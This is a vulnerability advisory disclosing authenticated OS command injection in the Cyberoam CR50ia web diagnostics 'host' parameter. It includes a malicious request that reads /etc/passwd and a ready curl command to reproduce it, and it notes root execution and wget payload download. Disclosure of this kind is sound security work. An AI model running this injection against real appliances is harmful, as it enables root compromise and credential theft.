Cyberoam Unified Threat Management: OS Command Execution

Hi,

Please find below the details of a vulnerability I discovered in
Cyberoam UTM device. The Vendor was notified, however I did not
receive any response from Vendor despite repeated email reminders.

SECURITY ADVISORY: cyberoam-utm-command-executaion

Affected Software: Cyberoam CR50ia 10.01.0 build 678
Vulnerability: OS Command Execution
Severity: High
Release Date: Unreleased

I. Background

"Cyberoam Unified Threat Management appliances offer assured security,
connectivity and productivity to Small Office-Home Office (SOHO) and
Remote Office-Branch Office (ROBO) users by allowing user
identity-based policy controls."

The Cyberoam UTM exposes a web interface through a Jetty web server
and this winterface allows authenticated users to perform network
diagnostic actions such as ping, traceroute, name lookup and so on.

These actions are accessible to authenticated users, and are
vulnerable to command injection attacks.


II. Description

Vulnerble functionality lies under SYSTEM –> Diagnostics –> Tools.

The Java Server page /corporate/Controller requires several parameters
to the server when a user attempts to perform these diagnostic
actions. The parameter 'host' is vulnerable to OS command injection.
Some client-side validation is performed to check that the IP address
provided is in valid format, however no such validation is performed
on server-side. Hence, a malicious user can easily bypass client-side
validation checks by using an in-line proxy tool and inject an OS
command.

Legitimate input:
__RequestType=ajax&mode=758&tool=1&interface=&host=127.0.0.1&pingipfqdn=127.0.0.1&size=&tracerouteipfqdn=&namelookupipfqdn=&dns=&routelookupipfqdn=&pinginterface=&tracerouteinterface=&selectdns=10.0.0.5&

Malicious input:
__RequestType=ajax&mode=758&tool=1&interface=&host=127.0.0.1 -c 1;cat
/etc/passwd&pingipfqdn=127.0.0.1&size=&tracerouteipfqdn=&namelookupipfqdn=&dns=&routelookupipfqdn=&pinginterface=&tracerouteinterface=&selectdns=10.0.0.5&

Test (replace cookie with a valid JSESSIONID):
curl -d '__RequestType=ajax&mode=758&tool=1&interface=&host=127.0.0.1
-c 1;cat /etc/passwd&pingipfqdn=127.0.0.1&size=&tracerouteipfqdn=&namelookupipfqdn=&dns=&routelookupipfqdn=&pinginterface=&tracerouteinterface=&selectdns=10.0.0.5&'
-b "JSESSIONID=u2ur76lhy4qt" -H "Referer: blah"
http://<webserver>/corporate/Controller

The malicious input will trick the server into reading and displaying
the contents of passed file in addition to pinging the target host. In
a similar manner, other Linux OS commands can be executed. It was also
possible to download a malicious binary from a remote web server, onto
the appliance using the 'wget' utility.

Commands are executed as the 'root' user.

III. Impact

The vulnerability permits execution of OS commands by crafting
malicious input. This may lead to complete compromise of the device
and sensitive data it holds. The appliance uses MySQL and PostgreSQL
databases to store data. By exploiting this vulnerability, it would be
possible for an attacker to obtain database credentials from
configuration files.

If default passwords are not changed, then this represents an easy
escalation to 'root' on a potentially privileged node on the network.


IV. Remediation

Implement proper server-side input validation on the 'host' parameter
and discard any inputs that don't strictly abide by IP address
formats.

V. Disclosure

Reported By: Saurabh Harit, Senior Security Analyst, SensePost

Discovery Date:         2011-11-01


VI. References

[1] http://www.cyberoamworks.com/Cyberoam-CR50ia.asp

Thanks & Regards,

Saurabh Harit
Senior Security Analyst
SensePost Pvt Ltd
Phone: +27 768006821